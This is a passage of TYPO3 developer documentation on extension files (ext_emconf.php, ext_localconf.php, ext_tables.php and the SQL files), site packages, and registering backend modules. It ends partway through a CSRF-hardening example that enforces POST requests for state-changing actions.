List of suggestions of extensions that work together or enhance this extension. Extensions defined here will be loaded before the current extension. Dependencies take precedence over suggestions. Loading order especially matters when overriding TCA or SQL of another extension.

The above example indicates that the extension depends on a version of TYPO3 between 13.4 and 13.4.x (as only bug and security fixes are integrated into TYPO3 when the last digit of the version changes, it is safe to assume it will be compatible with any upcoming version of the corresponding branch, thus .99). Also the extension has been tested and is known to work properly with PHP 8.2. to 8.4 It will conflict with "tt_news" (any version) and it is suggested that it might be worth installing "news" (version at least 12.1.0). Be aware that you should add at least the TYPO3 and PHP version constraints to this file to make sure everything is working properly.

For Classic mode installations, the ext_emconf.php file is the source of truth for required dependencies and the loading order of active extensions.

state

state
Type
string

Which state is the extension in

alpha
Alpha state is used for very initial work, basically the extension is during the very process of creating its foundation.
beta
Under current development. Beta extensions are functional, but not complete in functionality.
stable
Stable extensions are complete, mature and ready for production environment. Authors of stable extensions carry a responsibility to maintain and improve them.
experimental
Experimental state is useful for anything experimental - of course. Nobody knows if this is going anywhere yet... Maybe still just an idea.
test
Test extension, demonstrates concepts, etc.
obsolete
The extension is obsolete or deprecated. This can be due to other extensions solving the same problem but in a better way or if the extension is not being maintained anymore.
excludeFromUpdates
This state makes it impossible to update the extension through the Extension Manager (neither by the update mechanism, nor by uploading a newer version to the installation). This is very useful if you made local changes to an extension for a specific installation and do not want any administrator to overwrite them.

author

author
Type
string

Author name

author_email

author_email
Type
email address

Author email address

author_company

author_company
Type
string

Author company

autoload

autoload
Type
array

To get better class loading support for websites in Classic mode the following information can be provided.

Extensions using namespaces and following PSR 4

If the extension has namespaced classes following the PSR-4 standard, then you can add the following to your ext_emconf.php file:

packages/my_extension/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension title',
    // ...
    'autoload' => [
        'psr-4' => [
            // The prefix must end with a backslash
            'Vendor\\ExtName\\' => 'Classes',
        ],
    ],
];
Copied!

Extensions having one folder with classes or single files

It is not recommended but possible to use different name space schemes or no namespace at all.

Considering you have an extension where all classes and interfaces reside in a Classes folder or single classes you can add the following to your ext_emconf.php file:

packages/my_extension/ext_emconf.php
<?php

$EM_CONF[$_EXTKEY] = [
    'title' => 'Extension title',
    // ...
    'autoload' => [
        'classmap' => [
            'Classes',
            'a-class.php',
        ],
    ],
];
Copied!

autoload-dev

autoload-dev
Type
array

Same as the configuration "autoload" but it is only used if the ApplicationContext is set to Testing.

ext_localconf.php

ext_localconf.php

ext_localconf.php
Scope
extension
Path (Composer)
packages/my_extension/ext_localconf.php
Path (Classic)
typo3conf/ext/my_extension/ext_localconf.php

ext_localconf.php is always included in global scope of the script, in the frontend, backend and CLI context.

It should contain additional configuration of $GLOBALS['TYPO3_CONF_VARS'] .

This file contains hook definitions and plugin configuration. It must not contain a PHP encoding declaration.

All ext_localconf.php files of loaded extensions are included right after the files config/system/settings.php and config/system/additional.php during TYPO3 bootstrap.

Pay attention to the rules for the contents of these files. For more details, see the section below.

Should not be used for

While you can put functions and classes into ext_localconf.php, it considered bad practice because such classes and functions would always be loaded. Move such functionality to services or utility classes instead.

Registering hooks, XCLASSes or any simple array assignments to $GLOBALS['TYPO3_CONF_VARS'] options will not work for the following:

  • class loader
  • package manager
  • cache manager
  • configuration manager
  • log manager (= Logging Framework)
  • time zone
  • memory limit
  • locales
  • stream wrapper
  • error handler
  • Icon registration. Icons should be registered in Icons.php.

This would not work because the extension files ext_localconf.php are included ( loadTypo3LoadedExtAndExtLocalconf) after the creation of the mentioned objects in the Bootstrap class.

In most cases, these assignments should be placed in config/system/additional.php.

Example:

Register an exception handler:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['debugExceptionHandler'] =
    \Vendor\Ext\Error\PostExceptionsOnTwitter::class;
Copied!

Should be used for

These are the typical functions that extension authors should place within ext_localconf.php

  • Registering hooks, XCLASSes or any simple array assignments to $GLOBALS['TYPO3_CONF_VARS'] options
  • Registering additional Request Handlers within the Bootstrap
  • Adding default TypoScript via \TYPO3\CMS\Core\Utility\ExtensionManagementUtility APIs
  • Registering Scheduler Tasks
  • Adding reports to the reports module
  • Registering Services via the Service API

Examples

Put a file called ext_localconf.php in the main directory of your Extension. It does not need to be registered anywhere but will be loaded automatically as soon as the extension is installed. The skeleton of the ext_localconf.php looks like this:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\MyClass;

defined('TYPO3') or die();

// Add your code here
MyClass::doSomething();
Copied!

Read why the check for the TYPO3 constant is necessary.

ext_tables.php

ext_tables.php

ext_tables.php
Scope
extension
Path (Composer)
packages/my_extension/ext_tables.php
Path (Classic)
typo3conf/ext/my_extension/ext_tables.php

ext_tables.php is not always included in the global scope of the frontend context.

This file is only included when

  • a TYPO3 Backend or CLI request is happening
  • or the TYPO3 Frontend is called and a valid backend user is authenticated

This file usually gets included later within the request and after TCA information is loaded, and a backend user is authenticated.

Should not be used for

Should be used for

These are the typical functions that should be placed inside ext_tables.php

Examples

Put the following in a file called ext_tables.php in the main directory of your extension. The file does not need to be registered but will be loaded automatically:

EXT:site_package/ext_tables.php
<?php

declare(strict_types=1);

use MyVendor\MyExtension\Backend\MyClass;

defined('TYPO3') or die();

// Add your code here
MyClass::doSomething();
Copied!

Read why the check for the TYPO3 constant is necessary.

Registering a scheduler task

Scheduler tasks get registered in ext_tables.php as well. Note that the system extension "scheduler" has to be installed for this to work.

EXT:site_package/ext_tables.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Scheduler\Task\CachingFrameworkGarbageCollectionAdditionalFieldProvider;
use TYPO3\CMS\Scheduler\Task\CachingFrameworkGarbageCollectionTask;

defined('TYPO3') or die();

$lll = 'LLL:EXT:my_extension/Resources/Private/Language/locallang.xlf:';

// Add caching framework garbage collection task
$GLOBALS['TYPO3_CONF_VARS']['SC_OPTIONS']['scheduler']['tasks']
        [CachingFrameworkGarbageCollectionTask::class] = [
            'extension' => 'my_extension',
            'title' => $lll . 'cachingFrameworkGarbageCollection.name',
            'description' => $lll . 'cachingFrameworkGarbageCollection.description',
            'additionalFields' =>
                CachingFrameworkGarbageCollectionAdditionalFieldProvider::class,
        ];
Copied!

Registering a backend module

Changed in version 13.0

Allowing a tables records to be added to Standard pages

Changed in version 13.0

The method ExtensionManagementUtility::allowTableOnStandardPages() has been removed. Use the TCA ctrl option ignorePageTypeRestriction instead.

ext_tables.sql

ext_tables.sql

ext_tables.sql
Scope
extension
Path (Composer)
packages/my_extension/ext_tables.sql
Path (Classic)
typo3conf/ext/my_extension/ext_tables.sql

The ext_tables.sql file in the root folder of an extension holds additional SQL definition of database tables.

This file should contain a table-structure dump of the tables used by the extension which are not auto-generated. It is used for evaluation of the database structure and is applied to the database when an extension is enabled.

Adding additional fields to existing tables

If you add additional fields (or depend on certain fields) to existing tables you can also put them here. In this case insert a CREATE TABLE structure for that table, but remove all lines except the ones defining the fields you need. Here is an example adding a column to the pages table:

CREATE TABLE pages (
    tx_myextension_field int(11) DEFAULT '0' NOT NULL,
);
Copied!

TYPO3 will merge this table definition to the existing table definition when comparing expected and actual table definitions (for example, via the Admin Tools > Maintenance > Analyze Database Structure or the CLI command extension:setup. Partial definitions can also contain indexes and other directives. They can also change existing table fields - but that is not recommended, because it may create problems with the TYPO3 Core and/or other extensions.

The ext_tables.sql file may not necessarily be "dumpable" directly to a database (because of the semi-complete table definitions allowed that define only required fields). But the extension manager or admin tools can handle this.

TYPO3 parses ext_tables.sql files into a Doctrine DBAL object schema to define a virtual database scheme, enriched with \SchemaDefaultTcaSchema information for TCA-managed, auto-generated tables and fields.

Incorrect definitions may not be recognized by the TYPO3 SQL parser or may lead to SQL errors, when TYPO3 tries to apply them.

The ext_tables.sql file in TYPO3 contains SQL statements written in a TYPO3-specific format that is not directly valid for any database system. TYPO3 utilizes Doctrine DBAL to interpret and translate these statements into valid SQL for the specific target DBMS, such as MySQL, MariaDB, PostgreSQL, or SQLite.

Changed in version 13.4

Database types

The following database types require special consideration if you use them:

CHAR and BINARY as fixed length columns

Changed in version 13.4

Fixed and variable length variants have been parsed already in the past, but missed to flag the column as fixed for the fixed-length database field types CHAR and BINARY. This resulted in the wrong creation of these columns as VARCHAR and VARBINARY, which is now corrected.

Not all database systems (RDBMS) act the same way for fixed-length columns. Implementation differences need to be respected to ensure the same query/data behaviour across all supported database systems.

Fixed-length SQL type CHAR

Key Difference Between CHAR and VARCHAR

The main difference between CHAR and VARCHAR is how the database stores character data in a database. CHAR, which stands for character, is a fixed-length data type, meaning it always reserves a specific amount of storage space for each value, regardless of whether the actual data occupies that space entirely. For example, if a column is defined as CHAR(10) and the word apple is stored inside of it, it will still occupy 10 characters worth of space (not just 5). Unused characters are padded with extra spaces.

On the other hand, VARCHAR, short for variable character, is a variable-length data type. It only uses as much storage space as needed to store the actual data without padding. So, storing the word apple in a VARCHAR(10) column will only occupy 5 characters worth of space, leaving the remaining table row space available for other data.

When to use CHAR columns

Rule of thumb for fixed-length CHAR columns

  • Only use with ensured fixed-length values (so that no padding occurs).
  • For 255 or more characters VARCHAR or TEXT must be used.

Hints on using fixed-length CHAR columns

  • Ensure to write fixed-length values for CHAR (non-space characters), for example use hash algorithms which produce fixed-length hash identifier values.
  • Ensure to use query statements to trim OR rightPad the value within WHERE, HAVING or SELECT operations, when values are not guaranteed to contain fixed-length values.

  • Usage of CHAR must be avoided when using the column with the Extbase ORM, because fixed-value length cannot be ensured due to the lack of using trim/rightPad within the ORM generated queries. Only with ensured fixed-length values, it is usable with Extbase ORM.
  • Cover custom queries extensively with functional tests executed against all supported database platforms. Code within public extensions should ensure to test queries and their operations against all officially TYPO3-supported database platforms.

Extended examples about how to handle CHAR columns can be found in Important: #105310 - Create CHAR and BINARY as fixed-length columns

Auto-generated structure

The database schema analyzer automatically creates TYPO3 "management"-related database columns by reading a table's TCA and checking the Table properties (ctrl) section for table capabilities. Field definitions in ext_tables.sql take precedence over automatically generated fields, so the TYPO3 Core never overrides a manually specified column definition from an ext_tables.sql file.

These columns below are automatically added if not defined in ext_tables.sql for database tables that provide a $GLOBALS['TCA'] definition:

uid and PRIMARY KEY
If the uid field is not provided inside the ext_tables.sql file, the PRIMARY KEY constraint must be omitted, too.
pid and KEY parent
The column pid is unsigned, if the table is not workspace-aware, the default index parent includes pid and hidden as well as deleted, if the latter two are specified in TCA's Table properties (ctrl). The parent index creation is only applied, if the column pid is auto-generated, too.

The following $GLOBALS['TCA']['ctrl'] are considered for auto-generated fields, if they are not manually defined in the ext_tables.sql file:

['ctrl']['tstamp'] = 'my_field_name'
Often set to tstamp or updatedon.
['ctrl']['crdate'] = 'my_field_name'
Often set to crdate or createdon.
['ctrl']['delete'] = 'my_field_name'
Often set to deleted.
['ctrl']['enablecolumns']['disabled'] = 'my_field_name'
Often set to hidden or disabled.
['ctrl']['enablecolumns']['starttime'] = 'my_field_name'
Often set to starttime.
['ctrl']['enablecolumns']['endtime'] = 'my_field_name'
Often set to endtime.
['ctrl']['enablecolumns']['fe_group'] = 'my_field_name'
Often set to fe_group.
['ctrl']['sortby'] = 'my_field_name'
Often set to sorting.
['ctrl']['descriptionColumn'] = 'my_field_name'
Often set to description.
['ctrl']['editlock'] = 'my_field_name'
Often set to editlock.
['ctrl']['languageField'] = 'my_field_name'
Often set to sys_language_uid.
['ctrl']['transOrigPointerField'] = 'my_field_name'
Often set to l10n_parent.
['ctrl']['translationSource'] = 'my_field_name'
Often set to l10n_source.
l10n_state
Column added if ['ctrl']['languageField'] and ['ctrl']['transOrigPointerField'] are set.
['ctrl']['origUid'] = 'my_field_name'
Often set to t3_origuid.
['ctrl']['transOrigDiffSourceField'] = 'my_field_name'
Often set to l10n_diffsource.
['ctrl']['versioningWS'] = true and t3ver_* columns
Columns that make a table workspace-aware. All those fields are prefixed with t3ver_, for example t3ver_oid. A default index named t3ver_oid to fields t3ver_oid and t3ver_wsid is added, too.

The configuration in $GLOBALS['TCA'][$table]['columns'][$field]['config']['MM'] is considered for auto-generating the intermediate table and fields for:

The following types configured via $GLOBALS['TCA'][$table]['columns'][$field]['config'] are considered for auto-generated fields, if they are not manually defined in the ext_tables.sql file:

ext_tables_static+adt.sql

ext_tables_static+adt.sql

ext_tables_static+adt.sql
Scope
extension
Path (Composer)
packages/my_extension/ext_tables_static+adt.sql
Path (Classic)
typo3conf/ext/my_extension/ext_tables_static+adt.sql

Holds static SQL tables and their data.

If the extension requires static data you can dump it into an SQL file by this name. Example for dumping MySQL/MariaDB data from shell (executed in the extension's root directory):

mysqldump --user=[user] --password [database name] \
          [tablename] > ./ext_tables_static+adt.sql
Copied!

Note that only INSERT INTO statements are allowed. The file is interpreted whenever the corresponding extension's setup routines get called: Upon first time installation, command task execution of bin/typo3 extension:setup or via the Admin Tools > Extensions interface and the Reload extension data action. The static data is then only re-evaluated, if the file has different contents than on the last execution. In that case, the table is truncated and the new data imported.

The table structure of static tables must be declared in the ext_tables.sql file, otherwise data cannot be added to a static table.

ext_typoscript_constants.typoscript

ext_typoscript_constants.typoscript

ext_typoscript_constants.typoscript
Scope
extension
Path (Composer)
packages/my_extension/ext_typoscript_constants.typoscript
Path (Classic)
typo3conf/ext/my_extension/ext_typoscript_constants.typoscript

Preset TypoScript constants. Will be included in the constants section of all TypoScript records. Takes no effect in sites using Site sets.

ext_typoscript_setup.typoscript

ext_typoscript_setup.typoscript

ext_typoscript_setup.typoscript
Scope
extension
Path (Composer)
packages/my_extension/ext_typoscript_setup.typoscript
Path (Classic)
typo3conf/ext/my_extension/ext_typoscript_setup.typoscript

Preset TypoScript setup. Will be included in the setup section of all TypoScript records. Takes no effect in sites using Site sets.

Site package

A site package is a custom TYPO3 extension that contains files regarding the theme of a site.

Site package tutorial

The site package tutorial teaches you step by step how to create a custom site package from scratch. You can download the example site package created in this tutorial from GitHub and try it out: https://github.com/TYPO3-Documentation/site_package/tree/main

Site package builder

You can use the site package builder to generate a site package for you.

Bootstrap package

Creates a site package depending extension bk2k/bootstrap-package .

The site package comes with a frontend template that can be configured in multiple ways to use your own logo, colors etc. It also comes with a large number of predefined content elements.

Use this options if you want to create a web site with TYPO3 quickly and with a standardized design.

You can use the extension typo3/cms-introduction to create a page tree with some example data demonstrating the capabilities of this package.

At https://www.bootstrap-package.com/ the features of bk2k/bootstrap-package are demonstrated.

Minimal site package (Fluid Styled Content)

A minimal site package without styles that you can use as boiler plate to create a site package based on a custom HTML structure.

You can use extension t3docs/site-package-data to create a page tree and load some example data into your installation.

Introduction into using site packages

Site package benefits

Developing a website can be approached in different ways. Standard websites usually consist of HTML documents which contain text and reference image files, video files, styles, etc. Because it is an enterprise content management system, TYPO3 features a clean separation between design, content and functionality and allows developers/integrators to add simple or sophisticated functionality easily.

Encapsulation

Using extensions is a powerful way to get the most out of TYPO3. Extensions can be installed, uninstalled and replaced. They can extend the core TYPO3 system with further functions and features. An extension typically consists of PHP files, and can also contain design templates (HTML, CSS, JavaScript files, etc.) and global configuration settings. The visual appearance of a website does not necessarily require any PHP code. However, the site package extension described in this tutorial contains exactly two PHP files (plus a handful of HTML/CSS and configuration files) and is an extension to TYPO3. The PHP code can be copied from this tutorial if the reader does not have any programming knowledge.

Version control

In building the site package as an extension, all relevant files are stored in one place and changes can easily be tracked in a version control system such as Git. The site package approach is not the only way of creating TYPO3 websites but it is flexible and professional and not overly complicated.

Dependency management

TYPO3 extensions allow dependencies to other extensions and/or the TYPO3 version to be defined. This is called "Dependency Management" and makes deployment easy and fail-safe. Most TYPO3 sites are dependent on a number of extensions. Some examples are "News" or "Powermail". A site package extension which contains global configuration settings for these extensions will define the dependencies for you. When the site package extension is installed in an empty TYPO3 instance, all dependent extensions are automatically downloaded from the TYPO3 Extension Repository and installed.

Clean separation from the userspace

In a TYPO3 installation that doesn't use extensions, template files are often stored in the fileadmin/ directory. Files in this directory are indexed by TYPO3's File Abstraction Layer (FAL) resulting in possibly irrelevant records in the database. To avoid this the fileadmin/ area should be seen as a "userspace" which is only available for editors to use. Even if access permissions restrict editors from accessing or manipulating files in fileadmin/, site configuration components should still not be stored in the userspace.

Security

Files in fileadmin/ are typically meant to be publicly accessible by convention. To avoid disclosing sensitive system information (see the TYPO3 Security Guide for further details), configuration files should not be stored in fileadmin/.

Deployment

TYPO3 follows the convention over configuration paradigm. If files and directories in the site-package extension use the naming convention, they are loaded automatically as soon as the extension is installed/activated. This means the extension can be easily deployed using Composer. Deployment can be automated by system administrators.

Distributable

By virtue of the motto "TYPO3 inspires people to share!", the site package extension can be shared with the community via the official TYPO3 Extension Repository and/or in a publicly accessible version control system such as GitHub.

Last, but not least, configuration settings in the site package can be overwritten using TypoScript setup and constants.

Howto

Helps you kickstart your own extension or sitepackage. Explains how to publish an extension. Contains howto for different situations like creating a frontend plugin, a backend module or to extend existing TCA.

Backend modules

TYPO3 CMS offers a number of ways to attach custom functionality to the backend. They are described in this chapter.

Backend module API

See the API about classes and configuration for backend modules.

Backend module configuration examples

Howto register custom modules provided by extensions.

Create a module with Extbase

Explains how to create a module with Extbase and Fluid. This is the preferred method if extensive data modeling is involved.

Create a module with Core functionality

Explains how to create a module without Extbase. Fluid can still be used, however there are some limitations. This is the preferred way if no extensive data modelling is needed.

Security Considerations

Explores web application security considerations when developing custom modules for the backend user interface.

Tutorials

A video series from Susanne Moog demonstrating how to register and style a TYPO3 backend module.

Backend module configuration examples

The configuration of backend modules is placed in the dedicated configuration file: Configuration/Backend/Modules.php.

See also the Backend module configuration API.

Read more about

Example: register two backend modules

You can find the following example in EXT:examples.

Two backend modules are being registered. The first module is based on Extbase while the second uses a plain controller.

EXT:examples/Configuration/Backend/Modules.php
<?php

/*
 * This file is part of the TYPO3 CMS project.
 *
 * It is free software; you can redistribute it and/or modify it under
 * the terms of the GNU General Public License, either version 2
 * of the License, or any later version.
 *
 * For the full copyright and license information, please read the
 * LICENSE.txt file that was distributed with this source code.
 *
 * The TYPO3 project - inspiring people to share!
 */

use T3docs\Examples\Controller\AdminModuleController;
use T3docs\Examples\Controller\ModuleController;

/**
 * Definitions for modules provided by EXT:examples
 */
return [
    'web_examples' => [
        'parent' => 'web',
        'position' => ['after' => 'web_info'],
        'access' => 'user',
        'workspaces' => 'live',
        'path' => '/module/page/example',
        'labels' => 'LLL:EXT:examples/Resources/Private/Language/Module/locallang_mod.xlf',
        'extensionName' => 'Examples',
        'iconIdentifier' => 'tx_examples-backend-module',
        'controllerActions' => [
            ModuleController::class => [
                'flash', 'tree', 'clipboard', 'links', 'fileReference', 'fileReferenceCreate', 'count',
            ],
        ],
    ],
    'admin_examples' => [
        'parent' => 'system',
        'position' => ['top'],
        'access' => 'admin',
        'workspaces' => 'live',
        'path' => '/module/system/example',
        'labels' => 'LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang_mod.xlf',
        'iconIdentifier' => 'tx_examples-backend-module',
        'routes' => [
            '_default' => [
                'target' => AdminModuleController::class . '::handleRequest',
            ],
        ],
    ],
];
Copied!

Check if the modules have been properly registered

All registered modules are stored as objects in a registry. They can be viewed in the backend in the System > Configuration > Backend Modules module.

Exploring registered Backend Modules in the Configuration module

The ModuleProvider API allows extension authors to work with the registered modules.

Create a backend module with Core functionality

This page covers the backend template view, using only Core functionality without Extbase. See also the Backend module API.

Basic controller

When creating a controller without Extbase an instance of ModuleTemplate is required to return the rendered template:

Class T3docs\Examples\Controller\AdminModuleController
use TYPO3\CMS\Backend\Routing\UriBuilder;
use TYPO3\CMS\Backend\Template\ModuleTemplateFactory;
use TYPO3\CMS\Core\Imaging\IconFactory;

final readonly class AdminModuleController
{
    public function __construct(
        private ModuleTemplateFactory $moduleTemplateFactory,
        private IconFactory $iconFactory,
        private UriBuilder $uriBuilder,
        // ...
    ) {}
}
Copied!

If the controller is not tagged with the \TYPO3\CMS\Backend\Attribute\AsController attribute, it must be registered in Configuration/Services.yaml with the backend.controller tag for dependency injection to work:

EXT:examples/Configuration/Services.yaml
services:
  _defaults:
    autowire: true
    autoconfigure: true
    public: false

  T3docs\Examples\:
    resource: '../Classes/*'
    exclude: '../Classes/Domain/Model/*'

  T3docs\Examples\Controller\AdminModuleController:
    tags: ['backend.controller']
Copied!

Main entry point

The handleRequest() method is the main entry point which triggers only the allowed actions. This makes it possible to include e.g. Javascript for all actions in the controller.

Class T3docs\Examples\Controller\AdminModuleController
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;

final readonly class AdminModuleController
{
    public function handleRequest(ServerRequestInterface $request): ResponseInterface
    {
        $languageService = $this->getLanguageService();

        $allowedOptions = [
            'function' => [
                'debug' => htmlspecialchars(
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:debug'),
                ),
                'password' => htmlspecialchars(
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:password'),
                ),
                'index' => htmlspecialchars(
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:index'),
                ),
            ],
        ];

        $moduleData = $request->getAttribute('moduleData');
        if ($moduleData->cleanUp($allowedOptions)) {
            $this->getBackendUser()->pushModuleData($moduleData->getModuleIdentifier(), $moduleData->toArray());
        }

        $moduleTemplate = $this->moduleTemplateFactory->create($request);
        $this->setUpDocHeader($request, $moduleTemplate);

        $title = $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang_mod.xlf:mlang_tabs_tab');
        switch ($moduleData->get('function')) {
            case 'debug':
                $moduleTemplate->setTitle(
                    $title,
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:module.menu.debug'),
                );
                return $this->debugAction($request, $moduleTemplate);
            case 'password':
                $moduleTemplate->setTitle(
                    $title,
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:module.menu.password'),
                );
                return $this->passwordAction($request, $moduleTemplate);
            default:
                $moduleTemplate->setTitle(
                    $title,
                    $languageService->sL('LLL:EXT:examples/Resources/Private/Language/AdminModule/locallang.xlf:module.menu.log'),
                );
                return $this->indexAction($request, $moduleTemplate);
        }
    }
}
Copied!

Actions

Now create an example debugAction() and assign variables to your view as you would normally do.

Class T3docs\Examples\Controller\AdminModuleController
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Template\ModuleTemplate;

final readonly class AdminModuleController
{
    protected function debugAction(
        ServerRequestInterface $request,
        ModuleTemplate $view,
    ): ResponseInterface {
        $body = $request->getParsedBody();
        if (is_array($body)) {
            $cmd = $body['tx_examples_admin_examples']['cmd'] ?? 'cookies';
            switch ($cmd) {
                case 'cookies':
                    $this->debugCookies();
                    break;
                default:
                    // do something else
            }

            $view->assignMultiple(
                [
                    'cookies' => $request->getCookieParams(),
                    'lastcommand' => $cmd,
                ],
            );
        }
        return $view->renderResponse('AdminModule/Debug');
    }
}
Copied!

The DocHeader

To add a DocHeader button use $view->getDocHeaderComponent()->getButtonBar() and makeLinkButton() to create the button. Finally, use addButton() to add it.

Class T3docs\Examples\Controller\AdminModuleController
use Psr\Http\Message\ServerRequestInterface;
use TYPO3\CMS\Backend\Template\Components\ButtonBar;
use TYPO3\CMS\Backend\Template\ModuleTemplate;
use TYPO3\CMS\Core\Imaging\IconSize;

final readonly class AdminModuleController
{
    private function setUpDocHeader(
        ServerRequestInterface $request,
        ModuleTemplate $view,
    ): void {
        $buttonBar = $view->getDocHeaderComponent()->getButtonBar();
        $uriBuilderPath = $this->uriBuilder->buildUriFromRoute('web_list', ['id' => 0]);
        $list = $buttonBar->makeLinkButton()
            ->setHref($uriBuilderPath)
            ->setTitle('A Title')
            ->setShowLabelText(true)
            ->setIcon($this->iconFactory->getIcon('actions-extension-import', IconSize::SMALL->value));
        $buttonBar->addButton($list, ButtonBar::BUTTON_POSITION_LEFT, 1);
    }
}
Copied!

Template example

EXT:examples/Resources/Private/Templates/AdminModule/Debug.html
<html data-namespace-typo3-fluid="true" xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers">

   <f:layout name="Module" />

   <f:section name="Content">
      <h1><f:translate key="LLL:EXT:examples/Resources/Private/Language/locallang_examples.xlf:function_debug"/></h1>
      <p><f:translate key="LLL:EXT:examples/Resources/Private/Language/locallang_examples.xlf:function_debug_intro"/></p>
      <p><f:debug inline="1">{cookies}</f:debug></p>
   </f:section>
</html>
Copied!

Create a backend module with Extbase

See also the Backend module API.

Backend modules can be written using the Extbase/Fluid combination.

The factory \TYPO3\CMS\Backend\Template\ModuleTemplateFactory can be used to retrieve the \TYPO3\CMS\Backend\Template\ModuleTemplate class which is - more or less - the old backend module template, cleaned up and refreshed. This class performs a number of basic operations for backend modules, like loading base JS libraries, loading stylesheets, managing a flash message queue and - in general - performing all kind of necessary setups.

To access these resources, inject the \TYPO3\CMS\Backend\Template\ModuleTemplateFactory into your backend module controller:

 use TYPO3\CMS\Backend\Attribute\AsController;
 use TYPO3\CMS\Backend\Template\ModuleTemplateFactory;
 use TYPO3\CMS\Extbase\Mvc\Controller\ActionController;

 #[AsController]
 final class MyController extends ActionController
 {
     public function __construct(
         protected readonly ModuleTemplateFactory $moduleTemplateFactory,
     ) {
     }
}
Copied!

Changed in version 14.0

The class alias for \TYPO3\CMS\Backend\Attribute\Controller has been removed. \TYPO3\CMS\Backend\Attribute\AsController is still in place.

After that you can add titles, menus and buttons using ModuleTemplate:

// use Psr\Http\Message\ResponseInterface
public function myAction(): ResponseInterface
{
    $moduleTemplate = $this->moduleTemplateFactory->create($this->request);

    // Example of assignung variables to the view
    $moduleTemplate->assign('someVar', 'someContent');

    // Example of adding a page-shortcut button
    $routeIdentifier = 'web_examples'; // array-key of the module-configuration
    $buttonBar = $moduleTemplate->getDocHeaderComponent()->getButtonBar();
    $shortcutButton = $buttonBar->makeShortcutButton()->setDisplayName('Shortcut to my action')->setRouteIdentifier($routeIdentifier);
    $shortcutButton->setArguments(['controller' => 'MyController', 'action' => 'my']);
    $buttonBar->addButton($shortcutButton, ButtonBar::BUTTON_POSITION_RIGHT);
    // Adding title, menus and more buttons using $moduleTemplate ...

    return $moduleTemplate->renderResponse('MyController/MyAction');
}
Copied!

Using this ModuleTemplate class, the Fluid templates for your module need only take care of the actual content of your module. TYPO3 even comes with a default Fluid layout, that can easily be used:

<f:layout name="Module" />
Copied!

and the actual Template needs to render the title and the content only. For example, here is an extract of the "Index" action template of the "beuser" extension:

typo3/sysext/beuser/Resources/Private/Templates/BackendUser/List.html
<html
   xmlns:f="http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers"
   xmlns:core="http://typo3.org/ns/TYPO3/CMS/Core/ViewHelpers"
   xmlns:be="http://typo3.org/ns/TYPO3/CMS/Backend/ViewHelpers"
   data-namespace-typo3-fluid="true">

   <f:layout name="Module" />

   <f:section name="Content">
       <h1><f:translate key="backendUserListing" /></h1>
       ...
   </f:section>

</html>
Copied!

The best resources for learning is to look at existing modules from TYPO3 CMS. With the information given here, you should be able to find your way around the code.

Security Considerations

Cross-Site-Request-Forgery (CSRF)

Overview

HTTP requests are typically categorized into at least two types:

  • GET requests: Used for retrieving data without altering the server's state, such as fetching webpages or performing searches.
  • POST requests: Used for actions that modify the server's state, such as creating accounts, submitting forms, or updating settings.

Cross-site attacks, such as Cross-Site Request Forgery (CSRF), exploit the trust a web application has in a user's browser by tricking it into making unintended requests. Setting cookies (primarily these used to provide authentication) with the SameSite=strict attribute can mitigate these attacks by ensuring that cookies are only sent with same-site requests. However, certain edge cases, such as clicking a malicious link in a standalone mail application, can still pose a risk, as cookies might be sent in such scenarios.

This section explains how to enforce using POST for state-modifying actions to mitigate CSRF risks and provides an example backend module implementation to demonstrate best practices.

The example below demonstrates a module that renders a list of items and provides a delete action. The previous implementation used GET links with query parameters for the delete action, which modifies the server's state. This should be replaced with POST requests for improved security.

Asserting HTTP Methods in Custom Module Controllers

Enforcing HTTP Methods

The revised example below uses dedicated target handlers for each controller action instead of a generic handleRequest handler.

Revised EXT:demo/Configuration/Backend/Modules.php
  <?php
  use Example\Demo\Controller\CustomModuleController;

  return [
      'demo' => [
          'access' => 'user',
          'path' => '/module/dashboard',
          'iconIdentifier' => ...,  # Icon configuration here
          'labels' => ...,          # Label configuration here
          'routes' => [
-             '_default' => [
-                 'target' => CustomModuleController::class . '::handleRequest',
-             ],
+             '_default' => [
+                 'target' => CustomModuleController::class . '::listAction',
+             ],
+             'delete' => [
+                 'target' => CustomModuleController::class . '::deleteAction',
+             ],
          ],
      ],
  ];
Copied!

To enforce appropriate HTTP methods, the revised examples make use of the \TYPO3\CMS\Core\Http\AllowedMethodsTrait. GET is enforced for listAction, and POST is required for deleteAction.

Besides that, the vague and unspecific handleRequest intermediate dispatch method has been dropped in favour of having dedicated routes to each controller action.

Revised EXT:demo/Classes/Controller/CustomModuleController.php
  <?php
  namespace Example\Demo\Controller;

  use Example\Demo\Domain\Repository\ThingRepository;
  use TYPO3\CMS\Backend\Routing\UriBuilder;
  use TYPO3\CMS\Backend\Template\ModuleTemplate;
+ use TYPO3\CMS\Core\Http\AllowedMethodsTrait;
  use TYPO3\CMS\Core\Http\HtmlResponse;
  use TYPO3\CMS\Core\Http\RedirectResponse;

  class CustomModuleController
  {
+     use AllowedMethodsTrait;
+
      public function __construct(
          protected readonly UriBuilder $uriBuilder,
          protected readonly ThingRepository $thingRepository,
          protected readonly ModuleTemplate $moduleTemplate,
      ) {}

-     public function handleRequest(ServerRequestInterface $request): ResponseInterface
-     {
-         $action = $request->getQueryParams()['action']
-             ?? $request->getParsedBody()['action']
-             ?? 'list';
-         return $this->{$action . 'Action'}($request);
-     }
-
      public function listAction(ServerRequestInterface $request): ResponseInterface
      {
